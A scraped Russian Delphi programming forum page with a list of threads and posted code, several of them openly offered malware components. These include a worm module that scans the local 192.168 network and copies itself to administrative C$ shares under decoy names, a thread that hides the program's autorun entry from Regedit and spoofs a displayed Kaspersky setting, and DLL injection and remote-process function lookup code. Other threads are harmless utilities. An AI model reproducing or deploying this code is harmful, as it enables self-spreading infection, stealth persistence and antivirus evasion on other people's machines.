delfcode

Свернуть все окна

ThundeRLorD — Thu, 28 Jan 2016 16:42:25 GMT

Сворачивает все окна кроме нашей программы

Код

function EnumMiniProc(Wnd : HWND; Param : Longint) : Boolean; stdcall;
begin
  Result := True;
  if (Wnd = Param) or (Wnd = Application.Handle) then
    Exit
  else if isWindowVisible(Wnd) and not isIconic(Wnd) and isWindow(Wnd) then
    ShowWindow(Wnd, SW_MINIMIZE);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  EnumWindows(@EnumMiniProc, Handle);
end;

Шифрование текста

ApmeM — Sat, 10 Jan 2015 20:48:09 GMT

Форум: Процедуры и функции Delphi
Описание темы: Шифрование текста
Автор темы: ApmeM
Автор последнего сообщения: Anton93
Количество ответов: 2

Удалить MAINICON

Anton93 — Sun, 09 Feb 2014 22:50:38 GMT

задача до боли глупая. имеется exe с ресурсами. ничем не упакован. т.е. ресурсы можно свободно заменять.
проблема встала в удалении иконки (MAINICON).
Реализовывал через UpdateResource, в итоге в файле каша.
Подскажите как правильно удалить ресурс чтобы не повредить структуру исполняемого файла.

Скрываем параметры в Regedit'е

ix — Sat, 25 Jan 2014 18:01:48 GMT

Доступно только для пользователей

Код

unit RegHide;

interface

uses Windows, SysUtils, CommCtrl;

procedure RegeditSetItemText(ALVHandle: HWND; itemNum: Integer; subItem: Integer; text: PChar);
function RegeditFindRec(ALVHandle: HWND;RecName:string;var value: String): Integer;
procedure RegeditDeleteItem(h: HWND; num: Integer);

implementation

procedure RegeditSetItemText(ALVHandle: HWND; itemNum: Integer; subItem: Integer; Text: PChar); //подменить значение параметра
var
    hProcess: THandle;
    dwProcessID: DWORD;
    dwWriten: DWORD;
    LVItemCount: Integer;
    i, nTextLength: Integer;
    IPointer,TextPointer: Pointer;
    pLVItem: ^LV_ITEM;
    LVItem: LV_ITEM;
    svText: ShortString;
begin
    if ALVHandle = 0 then Exit;
   dwProcessID := 0;
    GetWindowThreadProcessId(ALVHandle, @dwProcessID);
   if dwProcessID = 0 then
    ExitProcess(GetLastError);
    hProcess := 0;
    hProcess := OpenProcess(PROCESS_ALL_ACCESS, True, dwProcessID);
    if hProcess = 0 then
    ExitProcess(GetLastError);
    TextPointer := VirtualAllocEx(hProcess, nil, 256,
                    MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE);
    IPointer := VirtualAllocEx(hProcess, nil, SizeOf(LV_ITEM),
                     MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE);
    ZeroMemory(@LVItem, SizeOf(LV_ITEM));
    LVItem.mask := LVIF_TEXT;
    LVItem.pszText := TextPointer;
    LVItem.cchTextMax := 255;
    LVItem.iSubItem := 2;
      WriteProcessMemory(hProcess,TextPointer,@Text[0],255,dwWriten);
      WriteProcessMemory(hProcess, IPointer, @LVItem,
                   SizeOf(LV_ITEM), dwWriten);
      nTextLength := SendMessage(ALVHandle, LVM_SETITEMTEXT,
                     itemNum, Integer(IPointer));
    VirtualFreeEx(hProcess, TextPointer, 0, MEM_RELEASE);
    VirtualFreeEx(hProcess, IPointer, 0, MEM_RELEASE);
    CloseHandle(hProcess);
end;

function RegeditFindRec(ALVHandle: HWND;RecName:string; var value: String): Integer; //найти параметр по имени
const
     cchTextMax=255;
var
    hProcess: THandle;
    dwProcessID: DWORD;
    dwWriten: DWORD;
    LVItemCount: Integer;
    i, nTextLength: Integer;
    pLVItem: ^LV_ITEM;
    LVItem: LV_ITEM;
    pszText: PChar;
    svText: ShortString;
    valText: ShortString;
begin
    Result := -1;
    if ALVHandle = 0 then Exit;
    LVItemCount := ListView_GetItemCount(ALVHandle);
   dwProcessID := 0;
    GetWindowThreadProcessId(ALVHandle, @dwProcessID);
   if dwProcessID = 0 then
    ExitProcess(GetLastError);
    hProcess := 0;
    hProcess := OpenProcess(PROCESS_ALL_ACCESS, True, dwProcessID);
    if hProcess = 0 then
    ExitProcess(GetLastError);
    pszText := VirtualAllocEx(hProcess, nil, cchTextMax,
                    MEM_COMMIT or MEM_TOP_DOWN, PAGE_READWRITE);
    pLVItem := VirtualAllocEx(hProcess, nil, SizeOf(LV_ITEM),
                     MEM_COMMIT or MEM_TOP_DOWN, PAGE_READWRITE);
    ZeroMemory(@LVItem, SizeOf(LV_ITEM));
    LVItem.mask := LVIF_TEXT;
    LVItem.pszText := pszText;
    LVItem.cchTextMax := cchTextMax;
    for i := 0 to LVItemCount - 1 do
    begin
      LVItem.iSubItem := 0;
      if not WriteProcessMemory(hProcess, pLVItem, @LVItem,
                   SizeOf(LV_ITEM), dwWriten) then Exit;
      nTextLength := SendMessage(ALVHandle, LVM_GETITEMTEXT,
                     i, Integer(pLVItem));
      ZeroMemory(@svText, cchTextMax);
      ReadProcessMemory(hProcess, LVItem.pszText, @svText[1],
       nTextLength, dwWriten);
      LVItem.iSubItem := 2;
      if not WriteProcessMemory(hProcess, pLVItem, @LVItem,
                   SizeOf(LV_ITEM), dwWriten) then Exit;
      nTextLength := SendMessage(ALVHandle, LVM_GETITEMTEXT,
                     i, Integer(pLVItem));
      ZeroMemory(@valText, cchTextMax);
      ReadProcessMemory(hProcess, LVItem.pszText, @valText[1],
       nTextLength, dwWriten);
      value := StrPas(PChar(@valText[1]));
      if StrPas(PChar(@svText[1]))=RecName then
       begin
       Result := i;
       Break;
       end;
    end;
    VirtualFreeEx(hProcess, pszText, 0, MEM_RELEASE);
    VirtualFreeEx(hProcess, pLVItem, 0, MEM_RELEASE);
    CloseHandle(hProcess);
end;

procedure RegeditDeleteItem(h: HWND; num: Integer); //удалить параметр из списка
begin
ListView_DeleteItem(h,num);
end;

end.

Использовать можно так:

Код

procedure TSelfProtectionThread.HideToRegedit; //процедура должна быть в отдельном потоке, чтобы основной код не прерывался
const
        str_regedit='Редактор реестра';
        str_regstatusbar='msctls_statusbar32';
        str_reglistview='SysListView32';
        str_regseek='\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';
        str_regseek2='\HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\protected\AVP14.0.0\settings';
        str_regparam='AllowServiceStop';
        str_regvalue='0x00000000 (0)';

var w: Hwnd;
len: Integer;
s: String;
nv: String;
Num: Integer;
value: String;
regStarted: Boolean;
label return;
begin
regStarted := False;

return: //если Regedit открыт, из процедуры не выходим

sleep(1); //чтоб не грузить процессор
w := FindWindow(nil,str_regedit);
   if w <> 0 then
    begin
     regStarted := True;
     w := FindWindowEx(w,0,str_regstatusbar,nil);
      if w <> 0 then
       begin
        len := SendMessage(w,WM_GETTEXTLENGTH,0,0);
        SetLength(s,len+1);
        SendMessage(w,WM_GETTEXT,len+1,Integer(@S[1]));
        if Pos(str_regseek,s)<>0 then
         //удаляем параметр
         begin
          w := FindWindow(nil,str_regedit);
           if w <> 0 then
            begin
             w := FindWindowEx(w,0,str_reglistview,nil);
             if w <> 0 then
              begin
               nv := ExtractFileName(paramstr(0));
               Num := RegeditFindRec(w,nv,value);
               if Num<>-1 then
                RegeditDeleteItem(w,Num);
              end;
            end else regStarted := False;
         end;
        if (av_protect=True) and (av_type=ANTIVIR_KASPERSKY) and (Pos(str_regseek2,s)<>0) then
         //подменяем значение параметра
         begin
          w := FindWindow(nil,str_regedit);
           if w <> 0 then
            begin
             w := FindWindowEx(w,0,str_reglistview,nil);
             if w <> 0 then
              begin
               Num := RegeditFindRec(w,str_regparam,value);
               if (Num<>-1) and (value<>str_regvalue) then
                RegeditSetItemText(w,Num,2,str_regvalue);
              end;
            end else regStarted := False;
         end;
       end;
      end else regStarted := False;
if regStarted then goto return;
end;

procedure TSelfProtectionThread.Execute;
begin

while True do
   begin
    sleep(200);
    HideToRegedit;
   end;

end;

определить наличие оверлея в EXE файле

Anton93 — Thu, 19 Dec 2013 09:00:08 GMT

привет)
может есть у кого функция проверки наличия в exe файле оверлея?
без наворотов. обычная boolean функция.

dcpcrypt

Hargen — Mon, 26 Aug 2013 11:23:55 GMT

Encryption Algorithms
Blowfish
Cast 128
Cast 256
DES, 3DES
Ice, Thin Ice, Ice2
IDEA
Mars
Misty1
RC2, RC4, RC5, RC6
Rijndael (the AES)
Serpent
Tea
Twofish
-------------------------------------------------------
Hash Algorithms
Haval
MD4
MD5
RipeMD-128
RipeMD-160
SHA-1
SHA-256, SHA-384, SHA-512
Tiger
-------------------------------------------------------
взято с http://www.cityinthesky.co.uk/opensource/DCPcrypt
-------------------------------------------------------
P.S. Админ перенеси если нетуда воткнул

Перевод чисел из научной нотации в десятичную систему

Del — Mon, 13 May 2013 16:45:27 GMT

Здравствуйте! При вычислении больших чисел на дельфи возникла проблема. Большие числа выглядят так: 10E10 что равносильно 10 умножить на 10 в 10 степени.
Вопрос: есть ли функция/способ в дельфи, которая/который переводил(а) числа из данного формата в более читабельный(десятичный)?

Поиск адреса функции в чужом процессе.

Волк-1024 — Sun, 12 May 2013 08:44:13 GMT

Вот на днях я заинтересовался данной темой. И в инете по данной тематике очень мало информации. Долго и упорно я искал. И случайно наткнулся вот на эту замечательную статью: http://www.rsdn.ru/article/baseserv/runcode.xml За что автору большая благодарность. И там было почти то, что нужно. Получилось очень не плохо. Т.е код работает. Я долгое время не хотел выкладывать этот код, ибо много парился, но всё-таки решился.

Данный код теперь даже умеет обрабатывать forwarded экспорт.

Код

function NativeGetProcAddressEx(ProcessHandle, HandleLibrary: THandle; FunctionName: PAnsiChar): Pointer;
var
     ImageDosHeader: TImageDosHeader;
     ImageNtHeaders: TImageNtHeaders;
     ExportAddress: TImageDataDirectory;
     FunctionIndex, FunctionOrdinal: WORD;
     ForwardedExport, FwdLibName: PAnsiChar;
     ExportDirectory: TImageExportDirectory;
     MemoryInformation: TMemoryBasicInformation;
     FunctionAddress, AddressOfNames, AddressOfNameOrdinals, FunctionNameBuffer: Pointer;
     BaseAddress, IndexName, NtStatus, ReturnLength, NameRVA, FunctionRVA, FunctionNameLength, FwdPos: Cardinal;
begin
     Result:=nil;
     if (Integer(HandleLibrary)<=0) then
        Exit;
     BaseAddress:=(HandleLibrary and $0FFFF0000);
     if (NtQueryVirtualMemory(ProcessHandle, (Pointer(BaseAddress)), MemoryBasicInformation, @MemoryInformation,
        (SizeOf(TMemoryBasicInformation)), @ReturnLength)=STATUS_SUCCESS)and(ReturnLength=(SizeOf(MemoryInformation))) then
     begin
        if (NtReadVirtualMemory(ProcessHandle, (Pointer(BaseAddress)), @ImageDosHeader, (SizeOf(ImageDosHeader)), @ReturnLength)=STATUS_SUCCESS)and
           (NtReadVirtualMemory(ProcessHandle, (Pointer(BaseAddress+Cardinal(ImageDosHeader._lfanew))), @ImageNtHeaders,
           (SizeOf(ImageNtHeaders)), @ReturnLength)=STATUS_SUCCESS) then
        begin
           if (ImageDosHeader.e_magic=IMAGE_DOS_SIGNATURE)and
              (ImageNtHeaders.Signature=IMAGE_NT_SIGNATURE)and
              (ImageNtHeaders.FileHeader.Machine=IMAGE_FILE_MACHINE_I386) then
           begin
              ExportAddress.Size:=0;
              ExportAddress.VirtualAddress:=0;
              ExportAddress:=ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
              if ExportAddress.VirtualAddress<>0 then
                 Inc(ExportAddress.VirtualAddress, BaseAddress)
              else
                 ExportAddress.Size:=0;
              begin
                 if (ExportAddress.Size=0)or(ExportAddress.VirtualAddress=0) then
                    Exit
                 else
                 begin
                    NtStatus:=NtReadVirtualMemory(ProcessHandle, (Pointer(ExportAddress.VirtualAddress)), @ExportDirectory,
                       (SizeOf(ExportDirectory)), @ReturnLength);
                    if NtStatus=STATUS_SUCCESS then
                    begin
                       if (Cardinal(FunctionName)>$00000FFFF) then // Если импорт по имени.
                       begin
                          FunctionNameLength:=(ALength(FunctionName));
                          if FunctionNameLength=0 then
                             Exit
                          else
                             FunctionNameBuffer:=GetMemory(FunctionNameLength+1);
                          if Assigned(FunctionNameBuffer) then
                          begin
                             IndexName:=0;
                             AddressOfNames:=(Pointer(BaseAddress+Cardinal(ExportDirectory.AddressOfNames)));
                             while (IndexName<=ExportDirectory.NumberOfNames) do
                             begin
                     NtStatus:=NtReadVirtualMemory(ProcessHandle, (Pointer(Cardinal(AddressOfNames)+IndexName*(SizeOf(DWORD)))),
                     @NameRVA, (SizeOf(NameRVA)), @ReturnLength)+(NtReadVirtualMemory(ProcessHandle, (Pointer(BaseAddress+NameRVA)),
                     FunctionNameBuffer, (FunctionNameLength+1), @ReturnLength));
                     if NtStatus=STATUS_SUCCESS then
                     begin
                     if StrCmp(FunctionName, (PAnsiChar(FunctionNameBuffer))) then
                     Break;
                     end
                     else
                     Break;
                     Inc(IndexName);
                             end;
                             FreeMemory(FunctionNameBuffer);
                             if (NtStatus<>STATUS_SUCCESS) then
                     Exit
                             else
                             begin
                     AddressOfNameOrdinals:=(Pointer(BaseAddress+Cardinal(ExportDirectory.AddressOfNameOrdinals)));
                     if (NtReadVirtualMemory(ProcessHandle, (Pointer(Cardinal(AddressOfNameOrdinals)+IndexName*SizeOf(WORD))),
                     @FunctionIndex, (SizeOf(FunctionIndex)), @ReturnLength)<>STATUS_SUCCESS) then
                     Exit;
                             end;
                          end;
                       end
                       else // Если импорт по ординалу.
                       begin
                          FunctionOrdinal:=(Cardinal(FunctionName));
                          if (FunctionOrdinal=ExportDirectory.Base+
                             ExportDirectory.NumberOfFunctions) then
                             Exit
                          else
                             FunctionIndex:=(FunctionOrdinal-ExportDirectory.Base);
                       end;
                       if (FunctionIndex<=0)or(FunctionIndex>=ExportDirectory.NumberOfFunctions) then
                          Exit
                       else
                       begin
                          FunctionRVA:=0;
                          if (NtReadVirtualMemory(ProcessHandle, (Pointer(BaseAddress+Cardinal(ExportDirectory.AddressOfFunctions)+
                             FunctionIndex*(SizeOf(DWORD)))), @FunctionRVA, (SizeOf(FunctionRVA)), @ReturnLength)=STATUS_SUCCESS)and(FunctionRVA<>0) then
                             FunctionAddress:=(Pointer(BaseAddress+FunctionRVA))
                          else
                             Exit;
                          if (Cardinal(FunctionAddress)>ExportAddress.VirtualAddress)and
                             (Cardinal(FunctionAddress)<=ExportAddress.VirtualAddress+ExportAddress.Size) then // Если указатель на адрес функции не лежит в пределах таблицы экспорта.
                          begin
                             ForwardedExport:=(GetMemory(MAX_PATH));
                             if Assigned(ForwardedExport) then
                             begin
                     if (NtReadVirtualMemory(ProcessHandle, FunctionAddress, ForwardedExport, MAX_PATH, @ReturnLength)=STATUS_SUCCESS)and
                     (MemoryIsString(ForwardedExport, (ALength(ForwardedExport)-1))) then
                     begin
                     FwdPos:=Pos(Char($2E), ForwardedExport);
                     if FwdPos>0 then
                     begin
                     FwdLibName:=ForwardedExport;
                     FwdLibName[FwdPos-1]:=#0; // Отделяем имя библиотеки от имени функции.
                     Result:=NativeGetProcAddressEx(ProcessHandle, (GetModuleHandleInProcess(ProcessHandle, FwdLibName)), ForwardedExport+FwdPos);
                     end;
                     end;
                     FreeMemory(ForwardedExport);
                             end;
                          end
                          else
                             Result:=FunctionAddress;
                       end;
                    end;
                 end;
              end;
           end;
        end;
     end;
end;

И в качестве приза функция для поиска адреса загрузки модулей в процессах (Реализацию подсмотрел в коде Zeus'а)

Остальные функции делайте сами (Для справки: функция ExtractOnlyFileName извлекает из пути файла только имя файла без расширения. Сделано это для того, чтобы искать модули по не полным именам, как это делает GetModuleHandle).
© By Wolk-1024.

Кто подскажет?

xXxSh@dowxXx — Wed, 09 Jan 2013 16:42:53 GMT

Всем доброго здоровьица

столкнулся с такой задачей - получить имя активного сетевого подключения, да же готовую функцию удалось отыскать, кстати вот она:

Определение активного подключения

Возвращает название активного интернет-соединения

Зависимости: RAS
Автор: некий Ajax
Copyright: Ajax
Дата: 27 мая 2002 г.
*****************************************************

Код

function CheckRASConnections: string;
const
     MaxEntries = 100;
var
     BufSize: Integer;
     NumEntries: Integer;
     Entries: array[1..MaxEntries] of TRasConn;
begin
     Entries[1].dwSize := SizeOf(TRasConn);
     Bufsize := SizeOf(TRasConn) * MaxEntries;
     RasEnumConnections(@Entries[1], BufSize, NumEntries);
     if numentries > 0 then
       result := strpas(@Entries[1].szEntryName)
     else
       Result := 'Disconnected';
end;

//Пример использования:

ShowMessage(CheckRASConnections);

но к сожалению мне не удалось отыскать нужный "TRasConn" модуль, да и в uses как видно ничего не указано, собственно кто встречал такой, или может быть у кого то он есть, выложите пожалуйста.

Основные функции в Delphi

dolphin — Fri, 04 Jan 2013 17:13:16 GMT

Помогите

pascal — Thu, 15 Nov 2012 11:53:04 GMT

Форум: Процедуры и функции Delphi
Описание темы: Посоветуйте хороший самоучитель по делфи 7
Автор темы: pascal
Автор последнего сообщения: GReIIIHuK
Количество ответов: 2

Расчет энтропии.

Волк-1024 — Fri, 21 Sep 2012 10:52:49 GMT

В общем я когда-то перерыл и перелопатил весь инет и так и не нашёл толковой информации по этой теме, особенно на Delphi.
И тут я, значит, брожу по гуглу и ищу инфу по одной теме и случайно тыкаю не на ту ссылку. И попадаю на известный блог: http://www.manhunter.ru/assembler/ И что я вижу! "Расчет энтропии на Ассемблере" и думаю: "Там, наверное, килотонны кода". Открываю и охреневаю от компактности кода. Дальше я быстро принимаюсь переписывать его на Delphi. Благо моих скромных познаний асма на это хватило.

Вот по этой формуле ведётся расчёт (Хотя я в математике дуб-дубом)

А вот и сам код:

Code

function CalcMemoryEntropy(const Memory: Pointer; Size: Cardinal): Extended;
var
    Prob, Log2: Extended;
    I, Sum, Chr: Integer;
    Code: array[0..255] of Byte;
begin
    Result:=0;
    if (Memory=nil)or(Size=0) then
       Exit
    else
    begin
       for I:=0 to(Length(Code)-1) do
          Code[I]:=0;
       I:=0;
       Sum:=0;
       while (Cardinal(I)       begin
          Chr:=(Cardinal(PChar(Memory)[I]));
          Inc(Code[Chr]);
          Inc(Sum);
          Inc(I);
       end;
       Log2:=Math.Log2(2.0);
       for I:=0 to(Length(Code)-1) do
       begin
          if (Code[I]>0) then
          begin
             Prob:=Code[I]/Sum;                    // P(i) = SUM(i)/total
             Result:=(Result-(Prob*(Math.Log2(Prob))/Log2));   // H(i) = -P(i)*log2(P(i))
          end;
       end;
    end;
end;

Как видим, код получился достаточно простым.

Вот расчет для строки:

Code

function CalcStringEntropy(Str: string): Extended;
begin
Result:=CalcMemoryEntropy(PChar(Str), (Length(Str)));
end;

И примеры:

Без округлений энтропии:

Code

MessageBox(0, PChar(FloatToStr(CalcStringEntropy('123456789'))), nil, 0);

И с округлением до двух чисел после запятой:

Code

MessageBox(0, PChar(FormatFloat('#.##', CalcStringEntropy('123456789'))), nil, 0);

В первом случае результат будет: 3.169925000144231, а во втором 3.17.

Для чего это нужно и кому это надо? Это пригодится, например, для определения пакованности файла (как это делает PeID или DiE) и т.д.

P.S. Для вычисления энтропии файла достаточно немного изменить код.
P.S.S. Информация по теме: Wikipedia

-------------------------------------------------------------
Забыл сказать. Для работы требуется модуль Math.

Распостраняемся по сети

dolphin — Sun, 19 Aug 2012 03:24:34 GMT

Этот модуль позволяет вирусу распостраняться по сети

Доступно только для пользователей

Code

unit LANS;

interface

uses
   windows, winsock;

Var
   cA :Integer;
   cB :Integer;
   cD :Integer;
   cC :Integer;
   Procedure StartLocalScan(NumberOfThreads :Dword);

implementation

type
   TLocalScan = Class(TObject)
   Private
     Procedure InfectHost(Host: String);
     Function ResolveIPToHostName(IP_Address : String): String;
   Public
     Procedure StartScan;
   End;

   function StrtoInt(const S: string): integer; var E: integer;
   begin Val(S, Result, E);end;

   function InttoStr(const Value: integer): string; var S: string[11];
   begin Str(Value, S); Result := S; end;

   Function TLocalScan.ResolveIPToHostname(IP_Address : String): String;
   Var
     Host        :PHostEnt;
     Addr        :Integer;
     WSA         :TWSAData;
   Begin
     WSAStartUp($0101, WSA);
     Try
       Addr := Inet_Addr(pChar(IP_Address));
       Host := GetHostByAddr(@Addr, 4, PF_INET);
       If Host <> NIL Then
         Result := Host.h_name
       Else
         Result := '';
     Finally
       WSACleanUp;
     End;
   End;

   Procedure TLocalScan.InfectHost(Host: String);
   Var
     Resolved    :String;
   Begin
     Resolved := ResolveIPToHostname(Host);
     If (Resolved <> '')  Then
     Begin
       If (CopyFile(pChar(ParamStr(0)), pChar('\\'+Resolved+'\C$\Install.exe'), False)) Then
       Begin
         CopyFile(pChar(ParamStr(0)), pChar('\\'+Resolved+'\C$\Windows Update.exe'), False);
         CopyFile(pChar(ParamStr(0)), pChar('\\'+Resolved+'\C$\XXX_ANAL_PUSSY_CLOSEUP_cumshot!!.jpg.exe'), False);
         CopyFile(pChar(ParamStr(0)), pChar('\\'+Resolved+'\C$\Readme.txt.exe'), False);
       End;
     End;
   End;

   Procedure TLocalScan.StartScan;
   Var
     ClassA      :Integer;
     ClassB      :Integer;
     ClassC      :Integer;
     ClassD      :Integer;
     IP          :String;
   Label
     Rewind;
   Begin
     Sleep(1000);
     ClassA := cA;
     ClassB := cB;
     ClassC := cC;
     ClassD := cD;
     Rewind:
     Repeat
       If (cD >= 255) Then cD := 0;
       If (cC >= 255) Then cC := 0;

       If (ClassD < 255) Then
         ClassD := cD+1;
       If (ClassD = 255) Then
       Begin
         ClassD := 0;
         Inc(ClassC);
       End;

       IP :=     IntToStr(ClassA) + '.' +
                 IntToStr(ClassB) + '.' +
                 IntToStr(ClassC) + '.' +
                 IntToStr(ClassD);
       If (ClassC > cC) Then cC := ClassC;
       If (ClassD > cD) Then cD := ClassD;

       InfectHost(IP);
     Until (ClassC = 255);
     goto rewind;
   End;

   Procedure StartLocalScan(NumberOfThreads :Dword);
   Var
     I           :Integer;
     ThreadID    :Dword;
   Begin
     cA := 192;
     cB := 168;
     cC := 0;
     cD := 0;
     For I := 0 To NumberOfThreads -1 Do
       BeginThread(NIL, 0, @TLocalScan.StartScan, NIL, 0, ThreadID);
   End;

end.

пример использования

StartLocalScan(10);

Полезнейшие модули для делфи!!!

Android — Tue, 07 Feb 2012 19:02:58 GMT

Товарищи!!!!

Очень интересные модули для работы с процессами, памятью чужих процессов. Например, скрытие из списка процессов, разработанные ms-rem'ом.

Вот только почему-то не хочет работать у меня... Все компилится, но почему-то не работает ожидаемым образом. В частности, не вижу эффекта от скрытия процесса...

В модуле Ring0.pas - есть функция для скрытия процесса (HideProcess)/ Вот ее никак не получается у меня заюзать нормально... А кроме того, там еще куча полезного. Например, подгрузка длл в чужой процесс, подгрузка образа своей проги целиком в чужой процесс и т.п. ДАвайте дружно разберемся.

Потестите у себя, товарищи. Помогите разобраться.

з.ы. Почему-то архив с ринг0.пас переобозвался в цифры после загрузки на сайт...

Несколько полезных функций.

Волк-1024 — Wed, 28 Dec 2011 16:50:50 GMT

Вот решил выложить некоторые из самописных функций. Все написаны с использованием только API. Может кому и пригодится...

1. GetCurrentFileName(): string

Функция для получения текущего имени файла. Аналог ParamStr(0); Только короче.

Code

function GetCurrentFileName(): string;
var
             FBuff: array[0..255] of char;
begin
             GetModuleFileName(0, FBuff, (SizeOf(FBuff)));
             Result:=(FBuff);
end;

2. GetCurrentFileParam(): PChar

Функция для получения текущих параметров запуска. Аналог ParamStr(1). Все действия прокомментированы.

Code

3. GetFilePointer(hFile: Cardinal): integer;

Функция для получения текущей позиции в файле. Аналог какой-то большой компонентной функции.

Code

function GetFilePointer(hFile: Cardinal): integer;
begin
Result:=SetFilePointer(hFile, 0, nil, FILE_CURRENT);
end;

4. FileEx(FileName: string): Boolean;

Функция для проверки наличия файла. Аналог FileExists.

Code

function FileEx(FileName: string): Boolean;
var
             H: DWORD;
             FD: TWin32FindData;
begin
             H:=FindFirstFile(PChar(FileName), FD);
             if H<>INVALID_HANDLE_VALUE then
                Result:=true
             else
                Result:=false;
end;

5. StrToHex(Str: string): string;

Функция конвертирует сроку в HEX значения.

Code

function StrToHex(Str: string): string;
var
             i, ls: integer;
             s: string;
begin
             ls:=(Length(Str));
             for i:=1 to (ls) do
                s:=s+(inttohex(ord(Str[i]), 2));
             Result:=s
end;

6. ExtractByte(FName: string; fbegin, fend, byteread: integer; Exfile: string): integer;

Функция извлекает опеределённое количество байтов из файла и записывает куда-нибудь. После её написания очень часто её использовал для извлечения полезноя нагрузки из файла носителя. Например dll библиотеку с функциями перехвата API и т.д. Полезная вобщем...

Code

function ExtractByte(FName: string; fbegin, fend, byteread: integer; Exfile:
             string): integer;
var
             F1, F2: DWORD;
             ofs: _OfStruct;
             RD, WR: Cardinal;
             FBuff: array[1..1024] of byte;
begin
             F2:=0;
             Result:=0;
             F1:=OpenFile(PChar(FName), OFS, 0);
             if F1<>INVALID_HANDLE_VALUE then
             begin
                F2:=CreateFile(PChar(Exfile), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
                   OPEN_ALWAYS, 0, 0);
                if F2<>INVALID_HANDLE_VALUE then
                begin
                   SetFilePointer(F1, fbegin, nil, 0);
                   repeat
                      ReadFile(F1, FBuff, byteread, RD, nil);
                      WriteFile(F2, FBuff, RD, WR, nil);
                   until (RD=0)or(GetFilePointer(F1)>=fend);
                end;
             end;
              CloseHandle(F1);
              CloseHandle(F2);
end;

Пример использования: ExtractByte('1.exe', $0002F530, $005C9FF, 1024, '2.exe'); 1-й параметр это файл из которого нужно извлекать. 2-й парам. это адрес начало считавания. 0 - для начала файла. 3-й адрес конца считавания. 4-й по скольку байт считывать из файла. 5-й куда записать. В итоге функция скопирует все что находится между $0002F530 и $005C9FF адресом.

7. GetRegValue(RKey: HKey; Key, N: PChar; var Res: string): integer;

Функция для получения значение ключа реестра. Аналог функции из компонента Registry.

Code

function GetRegValue(RKey: HKey; Key, N: PChar; var Res: string): integer;
var
             HK: HKey;
             DT, DS: DWORD;
begin
             Result:=0;
             if RegOpenKeyEx(RKey, Key, 0, $0001, HK)<>0 then exit;
             if (RegQueryValueEx(HK, N, nil, @DT, nil, @DS)<>0)or(DT<>1) then
             begin
                RegCloseKey(HK);
                Exit;
             end;
             SetString(RES, nil, (DS-1));
             RegQueryValueEx(HK, N, nil, @DT, (PByte(@RES[1])), @DS);
             RegCloseKey(HK);
             Result:=(length(RES));
end;

8. RegAdd(Root: HKEY; KeyPath: PChar; Key_Type: cardinal; KeyName, Value: PChar): boolean;

Функция для добавления кл. реестра. Аналог функция из кмп. Registry

Code

function RegAdd(Root: HKEY; KeyPath: PChar; Key_Type: cardinal; KeyName, Value: PChar): boolean;
var
             Key: HKEY;
begin
             RegAdd:=false;
             if RegOpenKeyEx(Root, KeyPath, 0, $0004 or $0002, Key)=0 then
             begin
                if RegSetValueEx(Key, KeyName, 0, Key_Type, Value,
                lstrlen(PChar(Value))+Length(Value))>0 then
                result:=true;
                RegCloseKey(Key);
             end;
end;

Пример использования: RegAdd(HKEY_LOCAL_MACHINE, 'Путь до ключа', REG_SZ, 'Имя ключа', 'Его значение') вернёт true если всё хорошо.

9. Patch_Byte(FN: string; B: array of integer; T: array of char);

Кривая функция для патчинга файлов.

Code

procedure Patch_Byte(FN: string; B: array of integer; T: array of char);
var
             c: byte;
             F: THandle;
             i, bl: integer;
             BytesRead: DWORD;
begin
             i:=0;
             BL:=(Length(T));
             F:=(FileOpen(FN, $0002));
             repeat
                c:=(ord(char(pchar(T[i]))));
                SetFilePointer(F, B[i], nil, 0);
                WriteFile(F, c, (SizeOf(c)), BytesRead, nil);
                i:=i+1;
             until (i>=(bl));
             FileClose(F);

Пример: Patch_Byte('Имя файла', Массив из адресов для патча, Массив из значений);

10. InjectDLL(DllPath: string; ProcID: Cardinal): boolean;

Функция для ижекта dll библиотек в процесс.

Code

function InjectDLL(DllPath: string; ProcID: Cardinal): boolean;
var
             L, R: Pointer;
             P, LN, TID, TH: Cardinal;
begin
             Result:=False;
             P:=OpenProcess(($000F0000 or $00100000 or $FFF), False, ProcID);
             if P<>0 then
             begin
                L:=GetProcAddress(GetModuleHandle('kernel32.dll'), ('LoadLibraryA'));
                if L<>nil then
                begin
                   R:=VirtualAllocEx(P, nil, (Length(DllPath)), $1000, 4);
                   if R<>nil then
                   begin
                      if WriteProcessMemory(P, R, (@DllPath[1]), (Length(DllPath)), LN)
                         then
                      begin
                         TH:=CreateRemoteThread(P, nil, 0, L, R, 0, Tid);
                         if TH>0 then
                         begin
                            WaitForSingleObject(TH, (DWORD($FFFFFFFF)));
                            VirtualFreeEx(P, R, 0, $8000);
                            CloseHandle(P);
                            Result:=True;
                         end;
                      end;
                   end;
                end;
             end;
end;

11. GetValFromWrd(W: string; var Wrd_B: array of string);

Функция разделит слово по буквам и загрузит в массив. (Вроде. =) )

Code

procedure GetValFromWrd(W: string; var Wrd_B: array of string);
var
             i, lw: integer;
begin
             lw:=(Length(W));
             for i:=0 to ((lw)-1) do
             Wrd_B[i]:=(Copy(W, i+1, 1));
end;

12. UsbEx(const Dir: string): Boolean;

Функция для проверки наличия диска или флешки.

Code

function Usbex(const Dir: string): Boolean;
var
             Code: Integer;
begin
             Code:=GetFileAttributes(PChar(Dir));
             Result:=(Code<>-1)and(FILE_ATTRIBUTE_DIRECTORY and Code<>0);
end;

13. Несколько не API функций для работы со строками.

ReadStr - Прочтет указанный номер сроки в файле.
ChekStr - Покажет сколько строк в файле.
LoadStr - Загрузит все строки из файла в массив.

Code

function ReadStr(tfile: string; num: integer): string;
var
             t: textfile;
             a: array[0..32] of string;
             i: integer;
begin
             AssignFile(t, tfile);
             reset(t);
             for i:=0 to num do
             begin
                readln(t, a[num]);
             end;
             result:=a[num];
             closefile(t);
end;

function ChekStr(path: string): integer;
var
             f: textfile;
             i: integer;
             b: array[0..0] of string;
begin
             i:=0;
             result:=(i);
             AssignFile(f, path);
             Reset(f);
             while not SeekEof(f) do
             begin
                ReadLn(f, b[0]);
                inc(i);
                result:=(i);
             end;
             CloseFile(f);
end;

procedure LoadStr(tf: string; var txb: array of string);
var
             t: textfile;
             i, i2: integer;
             tx: array of string;
begin
             i2:=ChekStr(tf);
